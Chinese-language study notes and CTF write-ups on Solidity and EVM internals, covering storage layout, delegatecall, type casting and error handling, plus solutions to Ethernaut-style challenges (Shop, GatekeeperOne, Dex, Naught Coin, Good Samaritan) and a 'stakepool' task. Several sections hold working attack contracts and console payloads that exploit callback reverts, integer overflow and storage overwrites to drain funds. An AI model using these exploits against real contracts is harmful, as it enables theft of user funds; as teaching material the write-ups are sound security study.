发送交易信息的另一种方法

1
2
3
await contract.sendTransactio({data:web3.sha3("pwn()").slice(0,10)});
await contract.sendTransaction({value:1});
await contract.sendTransaction({data:0xdd365b8b});//函数签名

以太坊数据储存形式的知识

  • 存储插槽的第一项会以低位对齐(即右对齐)的方式储存
  • 基本类型仅使用存储它们所需的字节
  • 如果存储插槽中的剩余空间不足以储存一个基本类型,那么它会被移 入 下一个存储插槽
  • 结构和数组数据总是会占用一整个新插槽(但结构或数组中的各项,都会以这些规则进行打包)

每一个槽有32个字节
数字:四位一字节
字母:两位一字节
布尔值:一个字节
bytes32就是32个字节

1
2
3
4
5
address a;//20  槽0
uint8 b;//1 槽0
uint c;//32 槽1
bool d;//1 槽2
//数据的排列方式为从右向左依次排列

在ethernaut中

1
await web3.eth.getStorageAt(contract.address,1)//用来获取合约中变量在链上的储存状态,其中1是指第一个槽中的变量

所有区块链上的东西没有秘密

调用且传入data

1
2
3
await contract.sendTransaction({data:web3.utils.keccak256("pwn()").slice(0,10)})
//slice(0,10)与bytes4和abi一样;

屏幕截图_20221215_142740.png

call与delegation

call: 最常用的调用方式,调用后内置变量 msg 的值会修改为调用者B,执行环境为被调用者的运行环境C。
delegatecall:调用后内置变量 msg 的值A不会修改为调用者,但执行环境为调用者的运行环境B
callcode:调用后内置变量 msg 的值会修改为调用者B,执行环境也为调用者的运行环境B

类型转换

如果是uint或者int同类型强制转换,就是从最低位截断(十六进制下,或者从最高位补0。

1
2
uint32 a = 0x12345678; uint16 b = uint16(a); // b will be 0x5678 now uint16 a = 0x1234; 
uint32 b = uint32(a); // b will be 0x00001234 now assert(a == b);

对于bytes类型就是从最低位补0或者从最高位开始保留,这样就没有改变原来的下标。

1
2
bytes2 a = 0x1234; bytes4 b = bytes4(a); 
// b will be 0x12340000 assert(a[0] == b[0]); assert(a[1] == b[1]);

只有具有相同字节数的整数和bytes类型才允许之间的强制转换,不同长度的需要中间过渡。
注意:bytes32,表示32个字节,一个字节是8位;int256这样指的是二进制位。

1
2
3
bytes2 a = 0x1234; uint32 b = uint16(a); // b will be 0x00001234 
uint32 c = uint32(bytes4(a)); // c will be 0x12340000 uint8 d = uint8(uint16(a)); // d will be 0x34
uint8 e = uint8(bytes1(a)); // e will be 0x12

ECR20分析

委托交易在区块链中用的可能很少,在生活中很多,但是ERC20实现起来似乎感觉很难理解!这里深度剖析一下委托交易是怎么个原理![作者蒲公英云]

委托转账原理分析:

假设:A账号有10000个token代币,B账号没有token代币,C账号也没有token代币!
那么:A账号 委托 B账号 转给C账号 100个token代币 怎么来实现呢?
首先:A账号 和 B账号建立一种委托关联,登录A账户执行approve(b,100)方法结果为:结果:_allowed[A][B] = 100token
然后:在执行登录B账户执行transferFrom(A,C,100),这里的B就是委托账号发送者,gas从B扣,必须确保token数量小于_allowed[A][B]
总结:其实就是A转入C,但是要经过B的账号来发送交易!
**委托转账原理分析:
假设:A账号有10000个token代币,B账号没有token代币,C账号也没有token代币!
那么:A账号 委托 B账号 转给C账号 100个token代币 怎么来实现呢?
首先:A账号 和 B账号建立一种委托关联,登录A账户执行approve(b,100)方法结果为:结果:_allowed[A][B] = 100token
然后:在执行登录B账户执行transferFrom(A,C,100),这里的B就是委托账号发送者,gas从B扣,必须确保token数量小于_allowed[A][B]
总结:其实就是A转入C,但是要经过B的账号来发送交易!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;

interface IERC20 {
function totalSupply() external view returns(uint);

function balanceOf(address account) external view returns(uint);

function transfer(address recipient, uint amount) external returns(bool);

function allowance(address owner, address spender) external view returns(uint);

function approve(address spender, uint amount) external returns(bool);

function tranferFrom(address sender, address recipient, uint amount) external returns(bool);

event Transfer(address indexed from, address indexed to, uint amount);
event Approve(address indexed owner, address indexed spender, uint amount);
}

contract ERC20 is IERC20{
uint public totalSupply;
mapping(address=>uint) public balanceOf;
mapping(address=>mapping(address=>uint)) public allowance;
string public name= "Test";
string public symbol="TEST";
uint8 public decimals=18;

function transfer(address recipient, uint amount) external returns(bool){
balanceOf[msg.sender] -= amount;
balanceOf[recipient] += amount;
emit Transfer(msg.sender, recipient,amount);
return true;
}

function approve(address spender, uint amount) external returns(bool) {
allowance[msg.sender][spender]= amount;
emit Approve(msg.sender,spender,amount);
return true;
}

function tranferFrom(address sender, address recipient, uint amount) external returns(bool){
allowance[sender][msg.sender] -= amount;
balanceOf[sender] -= amount;
balanceOf[recipient] += amount;
emit Transfer(sender,recipient,amount);
return true;
}

function mint(uint amount) external {
balanceOf[msg.sender] += amount;
totalSupply += amount;
emit Transfer(msg.sender, address(0),amount);
}

function burn(uint amount) external {
balanceOf[msg.sender] -= amount;
totalSupply -= amount;
emit Transfer(address(0),msg.sender,amount);
}

}

调用delegatecall深入了解(call,callcode)

—call: 最常用的调用方式,调用后内置变量 msg 的值会修改为调用者,执行环境为被调用者的运行环境(合约的 storage)。
-delegatecall: 调用后内置变量 msg 的值不会修改为调用者,但执行环境为调用者的运行环境。
-callcode: 调用后内置变量 msg 的值会修改为调用者,但执行环境为调用者的运行环境。

要十分主义delegatecall这个危险函数

1
2
3
4
5
6
7
8
9
10
contract A{
address a;//slot0
address b;//slot1
address c;//slot2
}
contract B{
address d;//slot0
function change()public{
d=msg.sender;}
}

如果合约A通过delegatecall调用合约B中的change函数,那么在A的环境下会修改合约A中slot0槽中的变量
因为在B合约中d的位置是slot0

寻找地址

合约地址的生成是有规律可寻的。
经常可以看到有的通证或组织跨链部署的合约都是同样的,这是因为合约地址是根据创建者的地址及nonce来计算的,
两者先进行RLP编码再利用keccak256进行哈希计算,在最终的结果取后20个字节作为地址(哈希值原本为32字节)。

动态数组与映射

动态数组

设 bytes32[] codex为动态数组
1.若slot0存储的则是codex动态数组,更准确来说,应该是codex动态数组的长度,而具体的下标内容呢?
Storage Address 的由来 x=keccak_256(slot)+x slot 是指数组长度存储的位置,此处对应的就是 0,x对应的值就是数组下标
所以我们将插槽表示出来:

1
2
3
4
5
6
7
8
await web3.utils.keccak256('0x0000000000000000000000000000000000000000000000000000000000000001')
算出结果应该是0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6
代表数据的起始槽
其实相当于数字 1 2 3 4这种意义
max=115792089237316195423570985008687907853269984665640564039457584007913129639935
2**256-1-0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6+1=
35707666377435648211887908874984608119992236509074197713628505308453184860938

2.若这个数组的length为2^256-1则这个数组包裹了所有的槽,既所有的槽都可以用数组表示
特别注意,数组的起始位置并不是0槽而是上面的一串字符,0槽里面只是数组长度
3.若我们想改变0槽的数据只需找到该槽的数组索引值既可
应该是2**256-1-0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6+1。
同时任何槽都可以寻找索引
因为我们到达末端后需要再进一位产生上溢出,返回slot0的数组索引。
然后修改该索引的内容就可以覆盖原有槽中的数据从而篡改数据。

映射·

计算的规则是这样的,x=keccak_256(key+slot)
key 代表映射类型的关键字
slot 代表定义映射类型变量对应的插槽

函数内部定义storage的问题

1
2
3
4
5
6
7
8
9
10
11
12
pragma solidity ^0.4.21;

contract DonationChallenge {
uint public o=8 ;
uint public c=0;
function donate() public {
uint[] storage x;
uint c=99;
x.push(c);

}
}

donate中定义了一个storag,从而在函数体内非显示初始化的时候会使用storage存储。
函数内:第一个储存的时数组长度,第二个是十万八千里的数据。
因为储存第一个是数组长度,又因为o=8,同时还push了一个数据,所以长度(o)变成8+1=9;

切记!!:结构体的声明是没有赋予储存空间的,这里的声名指的就是定义一个结构体类型的数据

转账函数与报错回滚的知识点

send、call和transfer之间的区别。

transfer如果异常会转账失败,并抛出异常,终止运行,存在gas限制
send如果异常会转账失败,返回false,不终止执行,存在gas限制
call如果异常会转账失败,返回false,不终止执行,没有gas限制

require()

1
2
3
4
5
6
7
8
9
10
11
12
13
require()会返还剩余 gas,而且允许返回一个数值

公式:
require(condition, ‘Something bad happened’);
在函数开头进行判断,不满足condition会返回定义值

用途:
require:最常用的检测关键字,用来验证输入参数和调用函数结果是否合法。
验证用户输入,即: require(input<20);
验证外部合约响应,即: require(external.send(amount));
执行合约前,验证状态条件,即: require(block.number > SOME_BLOCK_NUMBER) 或者 require(balance[msg.sender]>=amount)
一般地,尽量使用 require 函数
一般地,require 应该在函数最开始的地方使用

revert()

1
2
3
4
5
6
7
8
revert()函数会返还剩余 gas,而且允许返回一个数值

公式:
if(_data != data) { revert(“require data is valid”); }
将剩余gas返还调用者
用途:
revert:适用在某个分支判断的场景下。
处理与 require() 同样的类型,但是需要更复杂处理逻辑的场景

assert()[所有gas]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
assert() 即使有错误,也会执行并扣除gas。

公式:
assert(_condition);
不满足condition时执行
用途:
assert: 检查结果是否正确、合法,一般用于函数结尾
检查内部错误和状态不变性
检查 overflow/underflow,即:c = a+b; assert(c > b)
检查非变量(invariants),即:assert(this.balance >= totalSupply);
验证改变后的状态
预防不应该发生的条件
一般地,尽量少使用 assert 调用
一般地,assert 应该在函数结尾处使用

if···throw[所有gas]

1
2
3
4
5
6
7
8
如果 useSuperPowers() 函数被其它非拥有者调用,此函数将抛出“返回无效操作代码错误”,回滚所有状态改变,而且消耗掉剩下的gas.处理 throws 后会消耗剩余的 gas。尽管可以视为对矿工的慷慨捐助,但是往往会消耗用户大量金钱。
contract HasAnOwner {
address owner;
function useSuperPowers(){
if (msg.sender != owner) { throw; }
// do something only the owner should be allowed to do
}
}

EVM指令

PUSH1(60) 03 指push一个字节

PUSH1 ?? 60?? 合约代码copy多少字节
PUSH1 00 6000 第几个字节copy
PUSH1 00 6000 copy到内存的位置
CODECOPY 39 39

PUSH1 ?? 60?? 需要返回数据的长度
PUSH1 00 6000 从内存中哪个位置开始读取
RETURN F3
12个字节转为16
进制为0C所以??为0C
600C6000600039600C6000F3
0x600a600c602039600a6020f3602a60605260206060f3

账户签名

ethereum.request({method:”personal_sign”,params:[account,hash]}) 两次哈希签名方法

await web3.eth.sign(“0x901627bac315f6fadaed2159c5d18515afcbf61c7d9faea9353d34cffb1a64f2”,”0x001d3F1ef827552Ae1114027BD3ECF1f086bA0F9”)
[“消息哈希”,“账户地址”]
消息哈希:keccak256(abi.encodePacked(message))

Shop题解

目的:price要小于100;
源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
function price() external view returns (uint);
}

contract Shop {
uint public price = 100;
bool public isSold;

function buy() public {
Buyer _buyer = Buyer(msg.sender);

if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}

题目漏洞

1
2
3
4
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}

关键在于_buyer.price(),因为这里用了两次的外部函数,按理说应该返回一样的
但是,我们也可以让他不一样,第一个大于100第二个可以返回任意的数,所以漏洞就在于过于相信外部合约的变量

gateThree

目的:通关
源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

漏洞:
gataThree如何通过
这里以_gateKey是0x12345678deadbeef为例说明

  • 第一步uint32(uint64(_gateKey))转换后会取低位,所以变成0xdeadbeef,uint16(uint64(_gateKey))同理会变成0xbeef,uint16和uint32在比较的时候,较小的类型uint16会在左边填充0,也就是会变成0x0000beef和0xdeadbeef做比较,因此想通过第一个require只需要找一个形为0x????????0000????这种形式的值即可,其中?是任取值。
  • 第二步要求双方不相等,只需高4个字节中任有一个bit不为0即可
  • 第三步通过前面可知,uint32(uint64(_gateKey))应该是类似0x0000beef这种形式,所以只需要让最低的2个byte和tx.origin地址最低的2个byte相同即可,也就是,key的最低2个字节设置为合约地址的低2个字节。这里tx.origin就是metamask的账户地址

Dex题解

目的:player有10个token1与token2,合约有100个token1与token2,将合约中的任意token变为0;
题目源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';

contract Dex is Ownable {
address public token1;
address public token2;
constructor() {}

function setTokens(address _token1, address _token2) public onlyOwner {
token1 = _token1;
token2 = _token2;
}

function addLiquidity(address token_address, uint amount) public onlyOwner {
IERC20(token_address).transferFrom(msg.sender, address(this), amount);
}

function swap(address from, address to, uint amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

function getSwapPrice(address from, address to, uint amount) public view returns(uint){
return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
}

function approve(address spender, uint amount) public {
SwappableToken(token1).approve(msg.sender, spender, amount);
SwappableToken(token2).approve(msg.sender, spender, amount);
}

function balanceOf(address token, address account) public view returns (uint){
return IERC20(token).balanceOf(account);
}
}

contract SwappableToken is ERC20 {
address private _dex;
constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) {
_mint(msg.sender, initialSupply);
_dex = dexInstance;
}

function approve(address owner, address spender, uint256 amount) public {
require(owner != _dex, "InvalidApprover");
super._approve(owner, spender, amount);
}
}

题目漏洞:

1
2
3
4
5
6
7
8
function swap(address from, address to, uint amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}

这里其实并没有什么漏洞,只是涉及到token与token之间兑换的利率
将10个token1送给合约,然后用10个token2去swap token1,能换出大于10个的token1
然后再用token1去换更多的token2,就这样一直循环,会换出更多的token,从而完成目标。
还有一个重点,那就是

1
2
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
这句检查了token1与token2的正确性,防止别人用自己创造的token

Naught Coin

目的:完成转账

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import 'openzeppelin-contracts-08/token/ERC20/ERC20.sol';

contract NaughtCoin is ERC20 {

// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = block.timestamp + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;

constructor(address _player)
ERC20('NaughtCoin', '0x0') {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}

// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
}

漏洞:题目只是限制了transfer,并没有限制transferfrom,因此完成
另外说一下super关键字的用法,super是指继承的合约(一定要是最前面的)
不管继承多少个,反正就是super所在合约的继承目录中最前面的那一个

Good Samaritan

目的:转走所有的钱,交互合约为GoodSamaritan
源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import "openzeppelin-contracts-08/utils/Address.sol";

contract GoodSamaritan {
Wallet public wallet;
Coin public coin;

constructor() {
wallet = new Wallet();
coin = new Coin(address(wallet));

wallet.setCoin(coin);
}

function requestDonation() external returns(bool enoughBalance){
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
}

contract Coin {
using Address for address;

mapping(address => uint256) public balances;

error InsufficientBalance(uint256 current, uint256 required);

constructor(address wallet_) {
// one million coins for Good Samaritan initially
balances[wallet_] = 10**6;
}

function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];

// transfer only occurs if balance is enough
if(amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;

if(dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
}

contract Wallet {
// The owner of the wallet instance
address public owner;

Coin public coin;

error OnlyOwner();
error NotEnoughBalance();

modifier onlyOwner() {
if(msg.sender != owner) {
revert OnlyOwner();
}
_;
}

constructor() {
owner = msg.sender;
}

function donate10(address dest_) external onlyOwner {
// check balance left
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
// donate 10 coins
coin.transfer(dest_, 10);
}
}

function transferRemainder(address dest_) external onlyOwner {
// transfer balance left
coin.transfer(dest_, coin.balances(address(this)));
}

function setCoin(Coin coin_) external onlyOwner {
coin = coin_;
}
}

interface INotifyable {
function notify(uint256 amount) external;
}

漏洞:漏洞在于Coin合约的transfer中

1
2
3
INotifyable(dest_).notify(amount_);
这一句调用了dest_合约,如果传入的token大于10,那么我们让这个合约revert "NotEnoughBalance()"
就会转走所有的钱。

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface GoodSamaritan{
function requestDonation() external returns(bool enoughBalance);
}
contract INotifyable {
GoodSamaritan public addr;
error NotEnoughBalance();
constructor(address add){
addr=GoodSamaritan(add);
}
function notify(uint amount) external pure{
if(amount<=10){ //这一点是精髓,因为如果不限制amount的话,当他准备转走所有的钱的时候,也会被revert,因为他们用的都是同一个转账函数
revert NotEnoughBalance();
}}
function request() external {
addr.requestDonation();
}
}

stakepool

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.12;
pragma experimental ABIEncoderV2;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");

return c;
}

function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;

return c;
}

function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}

uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");

return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;

return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract ERC20 {
using SafeMath for uint256;

mapping (address => uint256) public _balances;

mapping (address => mapping (address => uint256)) public _allowances;

string public _name;
string public _symbol;
uint8 public _decimals;

constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}

function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}

function transfer(address recipient, uint256 amount) public virtual returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}

function approve(address spender, uint256 amount) public virtual returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}

function transferFrom(address sender, address recipient, uint256 amount) public virtual returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}

function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");

_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
}

function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_balances[account] = _balances[account].add(amount);
}

function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount);
}

function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}

}

contract ZT is ERC20("ZERO TOKEN", "ZT"){
//RULE 1
bytes32 constant RULE_WITHDRAW_WANT = keccak256(abi.encodePacked("withdraw"));

//RULE 2
bytes32 constant RULE_NONE_WANT = keccak256(abi.encodePacked("depositByValue"));


constructor()public{
_mint(msg.sender,10000000*10**18);
}
function depositByWant(uint amount)external payable{
// uint amount = _amount.mul(10**18);
require(msg.value>=amount,"you want to trick me?");
MkaheChange(msg.sender,amount,RULE_NONE_WANT);
}

function withdraw(uint amount)external payable returns(bool){
// uint amount = _amount.mul(10**18);
require(balanceOf(msg.sender)>=amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
return MkaheChange(msg.sender,amount,RULE_WITHDRAW_WANT);
}

function MkaheChange(address to,uint amount,bytes32 ID)internal returns(bool){
if(ID==RULE_NONE_WANT)
{
_balances[msg.sender]=_balances[msg.sender].add(amount);
return true;
}else if(ID==RULE_WITHDRAW_WANT){
bool a;
(a,)=payable(to).call.value(amount)("");
require(a,"withdraw fail");
return true;
}
else{
return false;
}
}


fallback()external payable{
MkaheChange(
msg.sender,
msg.value,
RULE_NONE_WANT
);
}
}
contract stakepool{
ZT public token;
uint totalsupply;
string symbol;
mapping(address=>uint)internal workbalance;
mapping(address=>bool)internal passed;
struct userInfo{
uint amount;
uint duration;
uint startTime;
}
mapping(address=>userInfo)internal userDetails;

constructor()public{
token =new ZT();
symbol = "cuit";
totalsupply = token.balanceOf(address(this));
}

function getDetails(address account)public view returns(userInfo memory){
return userDetails[account];
}

function workBalanceOf(address account)public view returns(uint){
bool pass=passed[account];
if(pass){
return workbalance[account];
}else{
return 0;
}
}

function Zt()public view returns(address){
return address(token);
}

function stake(uint amount,uint blocknumber)external{
require(blocknumber>=1,"At least 1 block");

userInfo storage user = userDetails[msg.sender];

user.startTime = block.number;
user.duration = blocknumber;
user.amount += amount;
passed[msg.sender] = false;

token.transferFrom(msg.sender,address(this),amount*10**18);
workbalance[msg.sender] += blocknumber;

}

function unstake()external{
userInfo storage user = userDetails[msg.sender];
require(block.number>=user.startTime+user.duration,"you are in a hurry ");
passed[msg.sender] = true;
uint amount = user.amount;
user.amount = 0;
token.transfer(msg.sender,amount*10**18);
}

function swap(uint amount)external{
uint balance = workBalanceOf(msg.sender);
require(balance>=amount,"exceed");
workbalance[msg.sender] -= amount;
token.transfer(msg.sender,amount*10**18);
}

}

contract check is stakepool{
uint256 public score;
function isCompleted()public{
score=0;
if (getDetails(msg.sender).amount>5000000 ether){
score+=25;
}
if (token.balanceOf(msg.sender)>500000 ether){
score+=75;
}
}
}

漏洞在

1
2
3
4
5
这里可以溢出,因此造成漏洞
block.number>=user.startTime+user.duration
这里也可以溢出,因此也有漏洞
token.transferFrom(msg.sender,address(this),amount*10**18);

攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//溢出
contract attcak{
uint a=2**256-1;
uint public blocknumber;
ZT public token;
check public target;
constructor(address addr,address payable _token)public{
target=check(addr);
token=ZT(_token);
}
function Attack1()public{
blocknumber=a-block.number+1;
target.stake(0,blocknumber);
target.unstake();
target.swap(5500001);
}
function Attack2()public{
token.approve(address(target),5000000 ether);
}
function Attack3()public{
target.stake(a/10**18+1,9);
target.isCompleted();
}
}